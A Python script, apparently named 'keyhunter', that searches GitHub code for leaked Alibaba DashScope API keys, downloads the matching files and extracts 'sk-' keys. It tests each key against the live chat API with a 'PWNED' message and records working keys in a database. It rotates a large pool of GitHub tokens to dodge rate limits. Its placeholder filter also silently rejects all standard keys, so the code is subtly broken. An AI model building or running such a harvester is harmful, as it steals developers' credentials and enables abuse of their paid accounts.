#!/usr/bin/env python3 """ GitHub code search scraper v2 1. Search GitHub code API → get file URLs 2. Fetch raw content → extract real keys 3. Validate → store """ import os, re, sys, time, hashlib, sqlite3, requests, random from concurrent.futures import ThreadPoolExecutor, as_completed KF_BASE = os.path.dirname(os.path.abspath(__file__)) DB_PATH = os.path.join(KF_BASE, "data", "keys.db") # === PATTERNS === RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE) RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})', re.IGNORECASE) RE_PLACEHOLDER = re.compile( r'(sk-xxx|sk-\.{3,}|sk-your-|sk-YOUR|sk-example|sk-\*+|sk-None|sk-placeholder|' r'sk-[x\*]{8,}|sk-[0]{8,}|sk-[f]{8,}|sk-[a-f0-9]{32}|sk-test)', re.IGNORECASE) def load_tokens(path): with open(path, encoding="utf-8", errors="replace") as f: return [l.strip() for l in f if l.strip() and not l.startswith("#")] def extract_keys(text): keys = set() for m in RE_CODING.finditer(text): raw = m.group(1) if not RE_PLACEHOLDER.search(raw): keys.add(raw) for m in RE_STANDARD.finditer(text): raw = m.group(1) if not RE_PLACEHOLDER.search(raw): keys.add(raw) return keys def fetch_raw(token, repo, path): """Fetch raw file content from GitHub.""" url = f"https://raw.githubusercontent.com/{repo}/refs/heads/main/{path}" headers = {"Authorization": f"token {token}", "User-Agent": "keyhunter/1.0"} try: r = requests.get(url, headers=headers, timeout=10) if r.status_code == 404: # Try master branch url2 = f"https://raw.githubusercontent.com/{repo}/refs/heads/master/{path}" r2 = requests.get(url2, headers=headers, timeout=10) if r2.status_code == 200: return r2.text return None if r.status_code == 200: return r.text return None except: return None def search_code(token, query, page): url = "https://api.github.com/search/code" headers = {"Authorization": f"token {token}", "Accept": "application/vnd.github.v3+json", "User-Agent": "keyhunter/1.1"} try: r = requests.get(url, headers=headers, params={"q": query, "per_page": 100, "page": page}, timeout=15) if r.status_code == 200: data = r.json() items = data.get("items", []) # Collect unique files files = set() for item in items: repo = item["repository"]["full_name"] path = item["path"] if not path.lower().endswith(('.md', '.txt', '.json', '.yaml', '.yml', '.toml', '.cfg', '.ini', '.env', '.py', '.js', '.ts', '.java', '.go', '.rs', '.sh', '.bat', '.ps1', '.rb', '.php', '.c', '.cpp', '.h', '.swift', '.kt', '.cs', '.scala', '.r', '.m', '.lua', '.pl', '.sql', '.html', '.xml', '.css', '.scss')): continue files.add((repo, path)) return files, data.get("total_count", 0) elif r.status_code == 403: return None, -1 # rate limited elif r.status_code == 422: return set(), 0 # only first 1000 results else: print(f" HTTP {r.status_code} on page {page}: {r.text[:100]}") return set(), 0 except Exception as e: print(f" Error: {e}") return None, -2 def validate_key(key): endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com" url = f"https://{endpt}/compatible-mode/v1/chat/completions" model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash" try: r = requests.post(url, headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"}, json={"model": model, "messages": [{"role": "user", "content": "PWNED"}], "max_tokens": 3}, timeout=10) return r.status_code except: return -1 def main(): all_tokens = load_tokens(os.path.join(KF_BASE, "gh_tokens.txt")) # Pre-filter: check first 500 tokens, keep alive ones print(f"Total tokens in pool: {len(all_tokens)}") alive_tokens = [] dead_count = 0 sample = all_tokens[:500] for tok in sample: try: r = requests.get("https://api.github.com/rate_limit", headers={"Authorization": f"token {tok}", "User-Agent": "keyhunter"}, timeout=5) if r.status_code == 200: alive_tokens.append(tok) else: dead_count += 1 except: dead_count += 1 # Add rest untested alive_tokens += all_tokens[500:] tokens = alive_tokens random.shuffle(tokens) print(f"Alive (tested 500): {len(alive_tokens) - len(all_tokens[500:])} + {len(all_tokens[500:])} untested = {len(tokens)} total") db = sqlite3.connect(DB_PATH) cur = db.cursor() queries = [ # Standard keys in .env files ('"DASHSCOPE_API_KEY" "sk-" extension:env', 'standard'), # Coding plan keys ('"sk-ws-H." language:python NOT 401', 'coding'), # Standard keys in Python configs ('"sk-" "DASHSCOPE_API_KEY" language:python NOT "sk-xxx"', 'standard'), # In YAML/TOML configs ('"DASHSCOPE_API_KEY" "sk-" extension:yaml', 'standard'), # In JS/TS ('"DASHSCOPE_API_KEY" "sk-" language:javascript', 'standard'), ] token_idx = 0 total_files = 0 total_fetched = 0 total_new = 0 for query, dtype in queries: if dtype == 'coding': query = '"sk-ws-H." language:python' print(f"\n[QUERY] {query}") for page in range(1, 11): # max 10 pages = 1000 results token = tokens[token_idx % len(tokens)] token_idx += 1 files, total = search_code(token, query, page) if files is None: if total == -1: token_idx += 1 time.sleep(1) continue else: time.sleep(1) break if not files: break total_files += len(files) print(f" Page {page}: {len(files)} files (total: {total})") # Fetch raw content and extract keys for repo, path in list(files): token = tokens[token_idx % len(tokens)] token_idx += 1 content = fetch_raw(token, repo, path) if content is None: continue total_fetched += 1 keys = extract_keys(content) for key in keys: if len(key) < 8: continue h = hashlib.sha256(key.encode()).hexdigest() cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,)) if cur.fetchone(): continue stat = validate_key(key) status = "WORKING" if stat == 200 else "DEAD" plan = "coding" if "ws-H." in key else "standard" now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time())) cur.execute("""INSERT OR REPLACE INTO keys (hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen) VALUES (?,?,?,?,?,?,?,?,?,?,?)""", (h, key, 'DASHSCOPE', status, plan, '', '', now, f"github:{repo}/{path}", now, now)) tag = "✓" if status == "WORKING" else "✗" print(f" [{tag}] {key[:30]}... {status} | {repo}/{path}") total_new += 1 if total_new % 5 == 0: db.commit() time.sleep(0.15) # gentle on API db.commit() if len(files) < 100: break time.sleep(1) db.commit() cur.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status") print(f"\n=== RESULTS ===") print(f"Files scanned: {total_fetched}/{total_files}") print(f"New keys: {total_new}") for s, c in cur.fetchall(): print(f" {s}: {c}") db.close() if __name__ == "__main__": sys.exit(main())